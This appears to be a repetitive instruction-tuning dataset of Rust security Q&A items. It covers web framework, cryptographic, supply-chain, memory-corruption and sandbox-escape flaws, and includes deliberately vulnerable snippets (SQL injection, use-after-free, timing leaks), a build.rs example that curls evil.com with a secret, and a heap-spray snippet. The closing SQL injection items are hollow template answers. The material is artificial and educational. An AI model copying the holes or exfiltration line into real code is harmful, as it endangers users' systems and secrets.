Instruction: Answer question

Input: Tell me about web framework vulnerabilities

Output:
{
  "name": "Web Framework Security Issues",
  "severity": "High",
  "description": "Vulnerabilities in Rust web applications",
  "frameworks": {
    "actix_web": {
      "sql_injection": {
        "vulnerable_code": "\n// VULNERABLE: SQL injection\nasync fn get_user(id: web::Path<String>) -> Result<HttpResponse> {\n    let query = format!(\"SELECT * FROM users WHERE id = {}\", id);\n    // Direct string interpolation = SQL injection!\n    let user = sqlx::query(&query).fetch_one(&pool).await?;\n    Ok(HttpResponse::Ok().json(user))\n}\n                        ",
        "prevention": "Use parameterized queries"
      },
      "path_traversal": {
        "vulnerable_code": "\n// VULNERABLE: Path traversal\nasync fn serve_file(path: web::Path<String>) -> Result<NamedFile> {\n    // No validation of path!\n    let file_path = format!(\"./uploads/{}\", path);\n    Ok(NamedFile::open(file_path)?)\n}\n                        ",
        "prevention": "Validate and sanitize paths"
      }
    },
    "rocket": {
      "csrf_vulnerability": {
        "description": "Missing CSRF protection",
        "vulnerable_code": "\n// VULNERABLE: No CSRF protection\n#[post(\"/transfer\", data = \"<transfer>\")]\nfn transfer_funds(transfer: Form<Transfer>) -> Result<()> {\n    // No CSRF token validation!\n    process_transfer(transfer.into_inner())\n}\n                        ",
        "prevention": "Implement CSRF tokens"
      }
    }
  }
}


Instruction: Answer question

Input: How does web framework vulnerabilities work?

Output:
{
  "name": "Web Framework Security Issues",
  "severity": "High",
  "description": "Vulnerabilities in Rust web applications",
  "frameworks": {
    "actix_web": {
      "sql_injection": {
        "vulnerable_code": "\n// VULNERABLE: SQL injection\nasync fn get_user(id: web::Path<String>) -> Result<HttpResponse> {\n    let query = format!(\"SELECT * FROM users WHERE id = {}\", id);\n    // Direct string interpolation = SQL injection!\n    let user = sqlx::query(&query).fetch_one(&pool).await?;\n    Ok(HttpResponse::Ok().json(user))\n}\n                        ",
        "prevention": "Use parameterized queries"
      },
      "path_traversal": {
        "vulnerable_code": "\n// VULNERABLE: Path traversal\nasync fn serve_file(path: web::Path<String>) -> Result<NamedFile> {\n    // No validation of path!\n    let file_path = format!(\"./uploads/{}\", path);\n    Ok(NamedFile::open(file_path)?)\n}\n                        ",
        "prevention": "Validate and sanitize paths"
      }
    },
    "rocket": {
      "csrf_vulnerability": {
        "description": "Missing CSRF protection",
        "vulnerable_code": "\n// VULNERABLE: No CSRF protection\n#[post(\"/transfer\", data = \"<transfer>\")]\nfn transfer_funds(transfer: Form<Transfer>) -> Result<()> {\n    // No CSRF token validation!\n    process_transfer(transfer.into_inner())\n}\n                        ",
        "prevention": "Implement CSRF tokens"
      }
    }
  }
}


Instruction: Answer question

Input: Describe web framework vulnerabilities

Output:
{
  "name": "Web Framework Security Issues",
  "severity": "High",
  "description": "Vulnerabilities in Rust web applications",
  "frameworks": {
    "actix_web": {
      "sql_injection": {
        "vulnerable_code": "\n// VULNERABLE: SQL injection\nasync fn get_user(id: web::Path<String>) -> Result<HttpResponse> {\n    let query = format!(\"SELECT * FROM users WHERE id = {}\", id);\n    // Direct string interpolation = SQL injection!\n    let user = sqlx::query(&query).fetch_one(&pool).await?;\n    Ok(HttpResponse::Ok().json(user))\n}\n                        ",
        "prevention": "Use parameterized queries"
      },
      "path_traversal": {
        "vulnerable_code": "\n// VULNERABLE: Path traversal\nasync fn serve_file(path: web::Path<String>) -> Result<NamedFile> {\n    // No validation of path!\n    let file_path = format!(\"./uploads/{}\", path);\n    Ok(NamedFile::open(file_path)?)\n}\n                        ",
        "prevention": "Validate and sanitize paths"
      }
    },
    "rocket": {
      "csrf_vulnerability": {
        "description": "Missing CSRF protection",
        "vulnerable_code": "\n// VULNERABLE: No CSRF protection\n#[post(\"/transfer\", data = \"<transfer>\")]\nfn transfer_funds(transfer: Form<Transfer>) -> Result<()> {\n    // No CSRF token validation!\n    process_transfer(transfer.into_inner())\n}\n                        ",
        "prevention": "Implement CSRF tokens"
      }
    }
  }
}


Instruction: Answer question

Input: What is cryptographic vulnerabilities?

Output:
{
  "name": "Cryptographic Implementation Flaws",
  "severity": "Critical",
  "description": "Vulnerabilities in cryptographic code",
  "patterns": {
    "timing_attacks": {
      "vulnerable_code": "\n// VULNERABLE: Timing attack\nfn verify_password(input: &[u8], expected: &[u8]) -> bool {\n    if input.len() != expected.len() {\n        return false;\n    }\n    \n    for i in 0..input.len() {\n        if input[i] != expected[i] {\n            return false;  // Early return = timing leak!\n        }\n    }\n    true\n}\n                    ",
      "exploitation": "Extract secrets through timing analysis",
      "prevention": [
        "Use constant-time comparison",
        "Use ring::constant_time::verify_slices_are_equal"
      ]
    },
    "weak_randomness": {
      "vulnerable_code": "\n// VULNERABLE: Weak RNG\nuse std::time::SystemTime;\n\nfn generate_token() -> u64 {\n    // Predictable seed!\n    let seed = SystemTime::now()\n        .duration_since(SystemTime::UNIX_EPOCH)\n        .unwrap()\n        .as_secs();\n    \n    // Weak PRNG\n    seed * 1103515245 + 12345\n}\n                    ",
      "prevention": [
        "Use rand::thread_rng()",
        "Use OsRng for cryptographic randomness"
      ]
    }
  }
}


Instruction: Answer question

Input: Explain cryptographic vulnerabilities

Output:
{
  "name": "Cryptographic Implementation Flaws",
  "severity": "Critical",
  "description": "Vulnerabilities in cryptographic code",
  "patterns": {
    "timing_attacks": {
      "vulnerable_code": "\n// VULNERABLE: Timing attack\nfn verify_password(input: &[u8], expected: &[u8]) -> bool {\n    if input.len() != expected.len() {\n        return false;\n    }\n    \n    for i in 0..input.len() {\n        if input[i] != expected[i] {\n            return false;  // Early return = timing leak!\n        }\n    }\n    true\n}\n                    ",
      "exploitation": "Extract secrets through timing analysis",
      "prevention": [
        "Use constant-time comparison",
        "Use ring::constant_time::verify_slices_are_equal"
      ]
    },
    "weak_randomness": {
      "vulnerable_code": "\n// VULNERABLE: Weak RNG\nuse std::time::SystemTime;\n\nfn generate_token() -> u64 {\n    // Predictable seed!\n    let seed = SystemTime::now()\n        .duration_since(SystemTime::UNIX_EPOCH)\n        .unwrap()\n        .as_secs();\n    \n    // Weak PRNG\n    seed * 1103515245 + 12345\n}\n                    ",
      "prevention": [
        "Use rand::thread_rng()",
        "Use OsRng for cryptographic randomness"
      ]
    }
  }
}


Instruction: Answer question

Input: Tell me about cryptographic vulnerabilities

Output:
{
  "name": "Cryptographic Implementation Flaws",
  "severity": "Critical",
  "description": "Vulnerabilities in cryptographic code",
  "patterns": {
    "timing_attacks": {
      "vulnerable_code": "\n// VULNERABLE: Timing attack\nfn verify_password(input: &[u8], expected: &[u8]) -> bool {\n    if input.len() != expected.len() {\n        return false;\n    }\n    \n    for i in 0..input.len() {\n        if input[i] != expected[i] {\n            return false;  // Early return = timing leak!\n        }\n    }\n    true\n}\n                    ",
      "exploitation": "Extract secrets through timing analysis",
      "prevention": [
        "Use constant-time comparison",
        "Use ring::constant_time::verify_slices_are_equal"
      ]
    },
    "weak_randomness": {
      "vulnerable_code": "\n// VULNERABLE: Weak RNG\nuse std::time::SystemTime;\n\nfn generate_token() -> u64 {\n    // Predictable seed!\n    let seed = SystemTime::now()\n        .duration_since(SystemTime::UNIX_EPOCH)\n        .unwrap()\n        .as_secs();\n    \n    // Weak PRNG\n    seed * 1103515245 + 12345\n}\n                    ",
      "prevention": [
        "Use rand::thread_rng()",
        "Use OsRng for cryptographic randomness"
      ]
    }
  }
}


Instruction: Answer question

Input: How does cryptographic vulnerabilities work?

Output:
{
  "name": "Cryptographic Implementation Flaws",
  "severity": "Critical",
  "description": "Vulnerabilities in cryptographic code",
  "patterns": {
    "timing_attacks": {
      "vulnerable_code": "\n// VULNERABLE: Timing attack\nfn verify_password(input: &[u8], expected: &[u8]) -> bool {\n    if input.len() != expected.len() {\n        return false;\n    }\n    \n    for i in 0..input.len() {\n        if input[i] != expected[i] {\n            return false;  // Early return = timing leak!\n        }\n    }\n    true\n}\n                    ",
      "exploitation": "Extract secrets through timing analysis",
      "prevention": [
        "Use constant-time comparison",
        "Use ring::constant_time::verify_slices_are_equal"
      ]
    },
    "weak_randomness": {
      "vulnerable_code": "\n// VULNERABLE: Weak RNG\nuse std::time::SystemTime;\n\nfn generate_token() -> u64 {\n    // Predictable seed!\n    let seed = SystemTime::now()\n        .duration_since(SystemTime::UNIX_EPOCH)\n        .unwrap()\n        .as_secs();\n    \n    // Weak PRNG\n    seed * 1103515245 + 12345\n}\n                    ",
      "prevention": [
        "Use rand::thread_rng()",
        "Use OsRng for cryptographic randomness"
      ]
    }
  }
}


Instruction: Answer question

Input: Describe cryptographic vulnerabilities

Output:
{
  "name": "Cryptographic Implementation Flaws",
  "severity": "Critical",
  "description": "Vulnerabilities in cryptographic code",
  "patterns": {
    "timing_attacks": {
      "vulnerable_code": "\n// VULNERABLE: Timing attack\nfn verify_password(input: &[u8], expected: &[u8]) -> bool {\n    if input.len() != expected.len() {\n        return false;\n    }\n    \n    for i in 0..input.len() {\n        if input[i] != expected[i] {\n            return false;  // Early return = timing leak!\n        }\n    }\n    true\n}\n                    ",
      "exploitation": "Extract secrets through timing analysis",
      "prevention": [
        "Use constant-time comparison",
        "Use ring::constant_time::verify_slices_are_equal"
      ]
    },
    "weak_randomness": {
      "vulnerable_code": "\n// VULNERABLE: Weak RNG\nuse std::time::SystemTime;\n\nfn generate_token() -> u64 {\n    // Predictable seed!\n    let seed = SystemTime::now()\n        .duration_since(SystemTime::UNIX_EPOCH)\n        .unwrap()\n        .as_secs();\n    \n    // Weak PRNG\n    seed * 1103515245 + 12345\n}\n                    ",
      "prevention": [
        "Use rand::thread_rng()",
        "Use OsRng for cryptographic randomness"
      ]
    }
  }
}


Instruction: Answer question

Input: What is supply chain attacks?

Output:
{
  "name": "Cargo/Crate Supply Chain Vulnerabilities",
  "severity": "Critical",
  "description": "Attacks through Rust dependencies",
  "attack_vectors": {
    "typosquatting": {
      "description": "Malicious crates with similar names",
      "example": "serde_json vs serde-json vs serdejson",
      "prevention": [
        "Verify crate names carefully",
        "Check download counts",
        "Review crate source"
      ]
    },
    "dependency_confusion": {
      "description": "Private/public crate confusion",
      "attack": "Publish public crate with same name as private",
      "prevention": [
        "Use explicit registry configuration",
        "Vendor dependencies"
      ]
    },
    "malicious_build_scripts": {
      "vulnerable_code": "\n// build.rs - Runs at compile time!\nfn main() {\n    // Malicious build script can:\n    std::process::Command::new(\"curl\")\n        .args(&[\"http://evil.com/steal\", \n                &std::env::var(\"SECRET\").unwrap()])\n        .output();\n}\n                    ",
      "prevention": [
        "Audit build.rs files",
        "Use cargo-crev",
        "Sandbox build environment"
      ]
    }
  }
}


Instruction: Answer question

Input: Explain supply chain attacks

Output:
{
  "name": "Cargo/Crate Supply Chain Vulnerabilities",
  "severity": "Critical",
  "description": "Attacks through Rust dependencies",
  "attack_vectors": {
    "typosquatting": {
      "description": "Malicious crates with similar names",
      "example": "serde_json vs serde-json vs serdejson",
      "prevention": [
        "Verify crate names carefully",
        "Check download counts",
        "Review crate source"
      ]
    },
    "dependency_confusion": {
      "description": "Private/public crate confusion",
      "attack": "Publish public crate with same name as private",
      "prevention": [
        "Use explicit registry configuration",
        "Vendor dependencies"
      ]
    },
    "malicious_build_scripts": {
      "vulnerable_code": "\n// build.rs - Runs at compile time!\nfn main() {\n    // Malicious build script can:\n    std::process::Command::new(\"curl\")\n        .args(&[\"http://evil.com/steal\", \n                &std::env::var(\"SECRET\").unwrap()])\n        .output();\n}\n                    ",
      "prevention": [
        "Audit build.rs files",
        "Use cargo-crev",
        "Sandbox build environment"
      ]
    }
  }
}


Instruction: Answer question

Input: Tell me about supply chain attacks

Output:
{
  "name": "Cargo/Crate Supply Chain Vulnerabilities",
  "severity": "Critical",
  "description": "Attacks through Rust dependencies",
  "attack_vectors": {
    "typosquatting": {
      "description": "Malicious crates with similar names",
      "example": "serde_json vs serde-json vs serdejson",
      "prevention": [
        "Verify crate names carefully",
        "Check download counts",
        "Review crate source"
      ]
    },
    "dependency_confusion": {
      "description": "Private/public crate confusion",
      "attack": "Publish public crate with same name as private",
      "prevention": [
        "Use explicit registry configuration",
        "Vendor dependencies"
      ]
    },
    "malicious_build_scripts": {
      "vulnerable_code": "\n// build.rs - Runs at compile time!\nfn main() {\n    // Malicious build script can:\n    std::process::Command::new(\"curl\")\n        .args(&[\"http://evil.com/steal\", \n                &std::env::var(\"SECRET\").unwrap()])\n        .output();\n}\n                    ",
      "prevention": [
        "Audit build.rs files",
        "Use cargo-crev",
        "Sandbox build environment"
      ]
    }
  }
}


Instruction: Answer question

Input: How does supply chain attacks work?

Output:
{
  "name": "Cargo/Crate Supply Chain Vulnerabilities",
  "severity": "Critical",
  "description": "Attacks through Rust dependencies",
  "attack_vectors": {
    "typosquatting": {
      "description": "Malicious crates with similar names",
      "example": "serde_json vs serde-json vs serdejson",
      "prevention": [
        "Verify crate names carefully",
        "Check download counts",
        "Review crate source"
      ]
    },
    "dependency_confusion": {
      "description": "Private/public crate confusion",
      "attack": "Publish public crate with same name as private",
      "prevention": [
        "Use explicit registry configuration",
        "Vendor dependencies"
      ]
    },
    "malicious_build_scripts": {
      "vulnerable_code": "\n// build.rs - Runs at compile time!\nfn main() {\n    // Malicious build script can:\n    std::process::Command::new(\"curl\")\n        .args(&[\"http://evil.com/steal\", \n                &std::env::var(\"SECRET\").unwrap()])\n        .output();\n}\n                    ",
      "prevention": [
        "Audit build.rs files",
        "Use cargo-crev",
        "Sandbox build environment"
      ]
    }
  }
}


Instruction: Answer question

Input: Describe supply chain attacks

Output:
{
  "name": "Cargo/Crate Supply Chain Vulnerabilities",
  "severity": "Critical",
  "description": "Attacks through Rust dependencies",
  "attack_vectors": {
    "typosquatting": {
      "description": "Malicious crates with similar names",
      "example": "serde_json vs serde-json vs serdejson",
      "prevention": [
        "Verify crate names carefully",
        "Check download counts",
        "Review crate source"
      ]
    },
    "dependency_confusion": {
      "description": "Private/public crate confusion",
      "attack": "Publish public crate with same name as private",
      "prevention": [
        "Use explicit registry configuration",
        "Vendor dependencies"
      ]
    },
    "malicious_build_scripts": {
      "vulnerable_code": "\n// build.rs - Runs at compile time!\nfn main() {\n    // Malicious build script can:\n    std::process::Command::new(\"curl\")\n        .args(&[\"http://evil.com/steal\", \n                &std::env::var(\"SECRET\").unwrap()])\n        .output();\n}\n                    ",
      "prevention": [
        "Audit build.rs files",
        "Use cargo-crev",
        "Sandbox build environment"
      ]
    }
  }
}


Instruction: Answer question

Input: What is memory corruption patterns?

Output:
{
  "name": "Advanced Memory Corruption",
  "severity": "Critical",
  "description": "Complex memory corruption patterns",
  "techniques": {
    "use_after_free": {
      "description": "UAF through unsafe code",
      "vulnerable_code": "\n// VULNERABLE: Use after free\nstruct Node {\n    value: i32,\n    next: Option<*mut Node>,\n}\n\nunsafe fn create_cycle() {\n    let mut node1 = Box::new(Node { value: 1, next: None });\n    let mut node2 = Box::new(Node { value: 2, next: None });\n    \n    let raw1 = Box::into_raw(node1);\n    let raw2 = Box::into_raw(node2);\n    \n    (*raw1).next = Some(raw2);\n    (*raw2).next = Some(raw1);\n    \n    // Dropping one node leaves dangling pointer!\n    drop(Box::from_raw(raw1));\n    \n    // raw2.next now points to freed memory\n    let value = (*(*raw2).next.unwrap()).value;  // UAF!\n}\n                    ",
      "exploitation": "Control freed memory for code execution"
    },
    "double_free": {
      "vulnerable_code": "\n// VULNERABLE: Double free\nunsafe fn double_free_bug() {\n    let data = Box::new(42);\n    let raw = Box::into_raw(data);\n    \n    drop(Box::from_raw(raw));  // First free\n    drop(Box::from_raw(raw));  // Double free!\n}\n                    ",
      "exploitation": "Corrupt heap metadata"
    },
    "heap_spray": {
      "description": "Heap spraying in Rust",
      "technique": "\n// Heap spray technique\nfn heap_spray() {\n    let spray_size = 0x1000;\n    let spray_count = 0x1000;\n    \n    let mut spray = Vec::new();\n    for _ in 0..spray_count {\n        let mut chunk = Vec::with_capacity(spray_size);\n        // Fill with shellcode or ROP gadgets\n        chunk.resize(spray_size, 0x90);  // NOP sled\n        spray.push(chunk);\n    }\n    \n    // Trigger vulnerability targeting sprayed addresses\n}\n                    "
    }
  }
}


Instruction: Answer question

Input: Explain memory corruption patterns

Output:
{
  "name": "Advanced Memory Corruption",
  "severity": "Critical",
  "description": "Complex memory corruption patterns",
  "techniques": {
    "use_after_free": {
      "description": "UAF through unsafe code",
      "vulnerable_code": "\n// VULNERABLE: Use after free\nstruct Node {\n    value: i32,\n    next: Option<*mut Node>,\n}\n\nunsafe fn create_cycle() {\n    let mut node1 = Box::new(Node { value: 1, next: None });\n    let mut node2 = Box::new(Node { value: 2, next: None });\n    \n    let raw1 = Box::into_raw(node1);\n    let raw2 = Box::into_raw(node2);\n    \n    (*raw1).next = Some(raw2);\n    (*raw2).next = Some(raw1);\n    \n    // Dropping one node leaves dangling pointer!\n    drop(Box::from_raw(raw1));\n    \n    // raw2.next now points to freed memory\n    let value = (*(*raw2).next.unwrap()).value;  // UAF!\n}\n                    ",
      "exploitation": "Control freed memory for code execution"
    },
    "double_free": {
      "vulnerable_code": "\n// VULNERABLE: Double free\nunsafe fn double_free_bug() {\n    let data = Box::new(42);\n    let raw = Box::into_raw(data);\n    \n    drop(Box::from_raw(raw));  // First free\n    drop(Box::from_raw(raw));  // Double free!\n}\n                    ",
      "exploitation": "Corrupt heap metadata"
    },
    "heap_spray": {
      "description": "Heap spraying in Rust",
      "technique": "\n// Heap spray technique\nfn heap_spray() {\n    let spray_size = 0x1000;\n    let spray_count = 0x1000;\n    \n    let mut spray = Vec::new();\n    for _ in 0..spray_count {\n        let mut chunk = Vec::with_capacity(spray_size);\n        // Fill with shellcode or ROP gadgets\n        chunk.resize(spray_size, 0x90);  // NOP sled\n        spray.push(chunk);\n    }\n    \n    // Trigger vulnerability targeting sprayed addresses\n}\n                    "
    }
  }
}


Instruction: Answer question

Input: Tell me about memory corruption patterns

Output:
{
  "name": "Advanced Memory Corruption",
  "severity": "Critical",
  "description": "Complex memory corruption patterns",
  "techniques": {
    "use_after_free": {
      "description": "UAF through unsafe code",
      "vulnerable_code": "\n// VULNERABLE: Use after free\nstruct Node {\n    value: i32,\n    next: Option<*mut Node>,\n}\n\nunsafe fn create_cycle() {\n    let mut node1 = Box::new(Node { value: 1, next: None });\n    let mut node2 = Box::new(Node { value: 2, next: None });\n    \n    let raw1 = Box::into_raw(node1);\n    let raw2 = Box::into_raw(node2);\n    \n    (*raw1).next = Some(raw2);\n    (*raw2).next = Some(raw1);\n    \n    // Dropping one node leaves dangling pointer!\n    drop(Box::from_raw(raw1));\n    \n    // raw2.next now points to freed memory\n    let value = (*(*raw2).next.unwrap()).value;  // UAF!\n}\n                    ",
      "exploitation": "Control freed memory for code execution"
    },
    "double_free": {
      "vulnerable_code": "\n// VULNERABLE: Double free\nunsafe fn double_free_bug() {\n    let data = Box::new(42);\n    let raw = Box::into_raw(data);\n    \n    drop(Box::from_raw(raw));  // First free\n    drop(Box::from_raw(raw));  // Double free!\n}\n                    ",
      "exploitation": "Corrupt heap metadata"
    },
    "heap_spray": {
      "description": "Heap spraying in Rust",
      "technique": "\n// Heap spray technique\nfn heap_spray() {\n    let spray_size = 0x1000;\n    let spray_count = 0x1000;\n    \n    let mut spray = Vec::new();\n    for _ in 0..spray_count {\n        let mut chunk = Vec::with_capacity(spray_size);\n        // Fill with shellcode or ROP gadgets\n        chunk.resize(spray_size, 0x90);  // NOP sled\n        spray.push(chunk);\n    }\n    \n    // Trigger vulnerability targeting sprayed addresses\n}\n                    "
    }
  }
}


Instruction: Answer question

Input: How does memory corruption patterns work?

Output:
{
  "name": "Advanced Memory Corruption",
  "severity": "Critical",
  "description": "Complex memory corruption patterns",
  "techniques": {
    "use_after_free": {
      "description": "UAF through unsafe code",
      "vulnerable_code": "\n// VULNERABLE: Use after free\nstruct Node {\n    value: i32,\n    next: Option<*mut Node>,\n}\n\nunsafe fn create_cycle() {\n    let mut node1 = Box::new(Node { value: 1, next: None });\n    let mut node2 = Box::new(Node { value: 2, next: None });\n    \n    let raw1 = Box::into_raw(node1);\n    let raw2 = Box::into_raw(node2);\n    \n    (*raw1).next = Some(raw2);\n    (*raw2).next = Some(raw1);\n    \n    // Dropping one node leaves dangling pointer!\n    drop(Box::from_raw(raw1));\n    \n    // raw2.next now points to freed memory\n    let value = (*(*raw2).next.unwrap()).value;  // UAF!\n}\n                    ",
      "exploitation": "Control freed memory for code execution"
    },
    "double_free": {
      "vulnerable_code": "\n// VULNERABLE: Double free\nunsafe fn double_free_bug() {\n    let data = Box::new(42);\n    let raw = Box::into_raw(data);\n    \n    drop(Box::from_raw(raw));  // First free\n    drop(Box::from_raw(raw));  // Double free!\n}\n                    ",
      "exploitation": "Corrupt heap metadata"
    },
    "heap_spray": {
      "description": "Heap spraying in Rust",
      "technique": "\n// Heap spray technique\nfn heap_spray() {\n    let spray_size = 0x1000;\n    let spray_count = 0x1000;\n    \n    let mut spray = Vec::new();\n    for _ in 0..spray_count {\n        let mut chunk = Vec::with_capacity(spray_size);\n        // Fill with shellcode or ROP gadgets\n        chunk.resize(spray_size, 0x90);  // NOP sled\n        spray.push(chunk);\n    }\n    \n    // Trigger vulnerability targeting sprayed addresses\n}\n                    "
    }
  }
}


Instruction: Answer question

Input: Describe memory corruption patterns

Output:
{
  "name": "Advanced Memory Corruption",
  "severity": "Critical",
  "description": "Complex memory corruption patterns",
  "techniques": {
    "use_after_free": {
      "description": "UAF through unsafe code",
      "vulnerable_code": "\n// VULNERABLE: Use after free\nstruct Node {\n    value: i32,\n    next: Option<*mut Node>,\n}\n\nunsafe fn create_cycle() {\n    let mut node1 = Box::new(Node { value: 1, next: None });\n    let mut node2 = Box::new(Node { value: 2, next: None });\n    \n    let raw1 = Box::into_raw(node1);\n    let raw2 = Box::into_raw(node2);\n    \n    (*raw1).next = Some(raw2);\n    (*raw2).next = Some(raw1);\n    \n    // Dropping one node leaves dangling pointer!\n    drop(Box::from_raw(raw1));\n    \n    // raw2.next now points to freed memory\n    let value = (*(*raw2).next.unwrap()).value;  // UAF!\n}\n                    ",
      "exploitation": "Control freed memory for code execution"
    },
    "double_free": {
      "vulnerable_code": "\n// VULNERABLE: Double free\nunsafe fn double_free_bug() {\n    let data = Box::new(42);\n    let raw = Box::into_raw(data);\n    \n    drop(Box::from_raw(raw));  // First free\n    drop(Box::from_raw(raw));  // Double free!\n}\n                    ",
      "exploitation": "Corrupt heap metadata"
    },
    "heap_spray": {
      "description": "Heap spraying in Rust",
      "technique": "\n// Heap spray technique\nfn heap_spray() {\n    let spray_size = 0x1000;\n    let spray_count = 0x1000;\n    \n    let mut spray = Vec::new();\n    for _ in 0..spray_count {\n        let mut chunk = Vec::with_capacity(spray_size);\n        // Fill with shellcode or ROP gadgets\n        chunk.resize(spray_size, 0x90);  // NOP sled\n        spray.push(chunk);\n    }\n    \n    // Trigger vulnerability targeting sprayed addresses\n}\n                    "
    }
  }
}


Instruction: Answer question

Input: What is sandboxing escapes?

Output:
{
  "name": "Sandbox Escape Techniques",
  "severity": "Critical",
  "description": "Breaking out of Rust sandboxes",
  "techniques": {
    "wasm_escape": {
      "description": "Escaping WebAssembly sandbox",
      "vectors": [
        "Memory corruption in host bindings",
        "Integer overflow in memory allocation",
        "Type confusion in imports/exports"
      ]
    },
    "proc_macro_abuse": {
      "description": "Compile-time code execution",
      "vulnerable_code": "\n// Malicious proc macro\n#[proc_macro]\npub fn evil_macro(input: TokenStream) -> TokenStream {\n    // Runs at compile time with full permissions!\n    std::fs::read_dir(\"/etc\").unwrap();\n    std::process::Command::new(\"whoami\").output();\n    \n    input  // Pass through normally\n}\n                    ",
      "prevention": "Audit all proc macros"
    }
  }
}


Instruction: Answer question

Input: Explain sandboxing escapes

Output:
{
  "name": "Sandbox Escape Techniques",
  "severity": "Critical",
  "description": "Breaking out of Rust sandboxes",
  "techniques": {
    "wasm_escape": {
      "description": "Escaping WebAssembly sandbox",
      "vectors": [
        "Memory corruption in host bindings",
        "Integer overflow in memory allocation",
        "Type confusion in imports/exports"
      ]
    },
    "proc_macro_abuse": {
      "description": "Compile-time code execution",
      "vulnerable_code": "\n// Malicious proc macro\n#[proc_macro]\npub fn evil_macro(input: TokenStream) -> TokenStream {\n    // Runs at compile time with full permissions!\n    std::fs::read_dir(\"/etc\").unwrap();\n    std::process::Command::new(\"whoami\").output();\n    \n    input  // Pass through normally\n}\n                    ",
      "prevention": "Audit all proc macros"
    }
  }
}


Instruction: Answer question

Input: Tell me about sandboxing escapes

Output:
{
  "name": "Sandbox Escape Techniques",
  "severity": "Critical",
  "description": "Breaking out of Rust sandboxes",
  "techniques": {
    "wasm_escape": {
      "description": "Escaping WebAssembly sandbox",
      "vectors": [
        "Memory corruption in host bindings",
        "Integer overflow in memory allocation",
        "Type confusion in imports/exports"
      ]
    },
    "proc_macro_abuse": {
      "description": "Compile-time code execution",
      "vulnerable_code": "\n// Malicious proc macro\n#[proc_macro]\npub fn evil_macro(input: TokenStream) -> TokenStream {\n    // Runs at compile time with full permissions!\n    std::fs::read_dir(\"/etc\").unwrap();\n    std::process::Command::new(\"whoami\").output();\n    \n    input  // Pass through normally\n}\n                    ",
      "prevention": "Audit all proc macros"
    }
  }
}


Instruction: Answer question

Input: How does sandboxing escapes work?

Output:
{
  "name": "Sandbox Escape Techniques",
  "severity": "Critical",
  "description": "Breaking out of Rust sandboxes",
  "techniques": {
    "wasm_escape": {
      "description": "Escaping WebAssembly sandbox",
      "vectors": [
        "Memory corruption in host bindings",
        "Integer overflow in memory allocation",
        "Type confusion in imports/exports"
      ]
    },
    "proc_macro_abuse": {
      "description": "Compile-time code execution",
      "vulnerable_code": "\n// Malicious proc macro\n#[proc_macro]\npub fn evil_macro(input: TokenStream) -> TokenStream {\n    // Runs at compile time with full permissions!\n    std::fs::read_dir(\"/etc\").unwrap();\n    std::process::Command::new(\"whoami\").output();\n    \n    input  // Pass through normally\n}\n                    ",
      "prevention": "Audit all proc macros"
    }
  }
}


Instruction: Answer question

Input: Describe sandboxing escapes

Output:
{
  "name": "Sandbox Escape Techniques",
  "severity": "Critical",
  "description": "Breaking out of Rust sandboxes",
  "techniques": {
    "wasm_escape": {
      "description": "Escaping WebAssembly sandbox",
      "vectors": [
        "Memory corruption in host bindings",
        "Integer overflow in memory allocation",
        "Type confusion in imports/exports"
      ]
    },
    "proc_macro_abuse": {
      "description": "Compile-time code execution",
      "vulnerable_code": "\n// Malicious proc macro\n#[proc_macro]\npub fn evil_macro(input: TokenStream) -> TokenStream {\n    // Runs at compile time with full permissions!\n    std::fs::read_dir(\"/etc\").unwrap();\n    std::process::Command::new(\"whoami\").output();\n    \n    input  // Pass through normally\n}\n                    ",
      "prevention": "Audit all proc macros"
    }
  }
}


Instruction: Answer question

Input: What is zero day patterns?

Output:
{
  "name": "Zero-Day Vulnerability Patterns",
  "severity": "Critical",
  "description": "Patterns for finding new vulnerabilities",
  "techniques": {
    "unsafe_trait_impl": {
      "description": "Unsafe trait implementation bugs",
      "pattern": "Look for custom Send/Sync implementations"
    },
    "lifetime_laundering": {
      "description": "Bypassing lifetime checks",
      "pattern": "Transmute to extend lifetimes"
    },
    "const_evaluation": {
      "description": "Const evaluation exploits",
      "pattern": "Trigger undefined behavior in const context"
    }
  }
}


Instruction: Answer question

Input: Explain zero day patterns

Output:
{
  "name": "Zero-Day Vulnerability Patterns",
  "severity": "Critical",
  "description": "Patterns for finding new vulnerabilities",
  "techniques": {
    "unsafe_trait_impl": {
      "description": "Unsafe trait implementation bugs",
      "pattern": "Look for custom Send/Sync implementations"
    },
    "lifetime_laundering": {
      "description": "Bypassing lifetime checks",
      "pattern": "Transmute to extend lifetimes"
    },
    "const_evaluation": {
      "description": "Const evaluation exploits",
      "pattern": "Trigger undefined behavior in const context"
    }
  }
}


Instruction: Answer question

Input: Tell me about zero day patterns

Output:
{
  "name": "Zero-Day Vulnerability Patterns",
  "severity": "Critical",
  "description": "Patterns for finding new vulnerabilities",
  "techniques": {
    "unsafe_trait_impl": {
      "description": "Unsafe trait implementation bugs",
      "pattern": "Look for custom Send/Sync implementations"
    },
    "lifetime_laundering": {
      "description": "Bypassing lifetime checks",
      "pattern": "Transmute to extend lifetimes"
    },
    "const_evaluation": {
      "description": "Const evaluation exploits",
      "pattern": "Trigger undefined behavior in const context"
    }
  }
}


Instruction: Answer question

Input: How does zero day patterns work?

Output:
{
  "name": "Zero-Day Vulnerability Patterns",
  "severity": "Critical",
  "description": "Patterns for finding new vulnerabilities",
  "techniques": {
    "unsafe_trait_impl": {
      "description": "Unsafe trait implementation bugs",
      "pattern": "Look for custom Send/Sync implementations"
    },
    "lifetime_laundering": {
      "description": "Bypassing lifetime checks",
      "pattern": "Transmute to extend lifetimes"
    },
    "const_evaluation": {
      "description": "Const evaluation exploits",
      "pattern": "Trigger undefined behavior in const context"
    }
  }
}


Instruction: Answer question

Input: Describe zero day patterns

Output:
{
  "name": "Zero-Day Vulnerability Patterns",
  "severity": "Critical",
  "description": "Patterns for finding new vulnerabilities",
  "techniques": {
    "unsafe_trait_impl": {
      "description": "Unsafe trait implementation bugs",
      "pattern": "Look for custom Send/Sync implementations"
    },
    "lifetime_laundering": {
      "description": "Bypassing lifetime checks",
      "pattern": "Transmute to extend lifetimes"
    },
    "const_evaluation": {
      "description": "Const evaluation exploits",
      "pattern": "Trigger undefined behavior in const context"
    }
  }
}


Instruction: Security task

Input: How do I detect SQL injection in a web application?

Output: To detect SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a web application?

Output: To exploit SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a web application?

Output: To prevent SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

